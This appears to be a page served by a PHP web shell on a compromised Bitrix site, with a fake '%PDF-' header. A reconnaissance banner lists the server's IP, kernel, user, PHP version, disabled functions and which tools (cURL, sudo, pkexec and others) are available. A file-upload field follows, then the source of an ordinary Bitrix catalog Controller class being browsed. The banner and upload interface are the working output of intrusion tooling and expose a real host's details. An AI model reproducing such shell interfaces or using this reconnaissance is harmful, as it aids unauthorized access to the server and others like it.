%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.137.166.252 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/catalog/lib/controller/ |
Upload File : |
<?php namespace Bitrix\Catalog\Controller; use Bitrix\Main\Engine\Action; use Bitrix\Rest\Integration\CatalogViewManager; use Bitrix\Rest\Integration\Controller\Base; class Controller extends Base { const IBLOCK_READ = 'iblock_admin_display'; const IBLOCK_ELEMENT_READ = 'element_read'; const IBLOCK_ELEMENT_EDIT = 'element_edit'; const IBLOCK_ELEMENT_DELETE = 'element_delete'; const IBLOCK_SECTION_READ = 'section_read'; const IBLOCK_SECTION_EDIT = 'section_edit'; const IBLOCK_SECTION_DELETE = 'section_delete'; const IBLOCK_ELEMENT_EDIT_PRICE = 'element_edit_price'; const IBLOCK_SECTION_SECTION_BIND = 'section_section_bind'; const IBLOCK_ELEMENT_SECTION_BIND = 'section_element_bind'; const IBLOCK_EDIT = 'iblock_edit'; protected function createViewManager(Action $action) { return new CatalogViewManager($action); } protected static function getApplication() { /** @global \CMain $APPLICATION */ global $APPLICATION; return $APPLICATION; } protected static function getGlobalUser() { /** @global \CUser $USER */ global $USER; return $USER; } protected static function getNavData($start, $orm = false) { if($start >= 0) { return ($orm ? ['limit' => \IRestService::LIST_LIMIT, 'offset' => intval($start)] :['nPageSize' => \IRestService::LIST_LIMIT, 'iNumPage' => intval($start / \IRestService::LIST_LIMIT) + 1] ); } else { return ($orm ? ['limit' => \IRestService::LIST_LIMIT] :['nTopCount' => \IRestService::LIST_LIMIT] ); } } }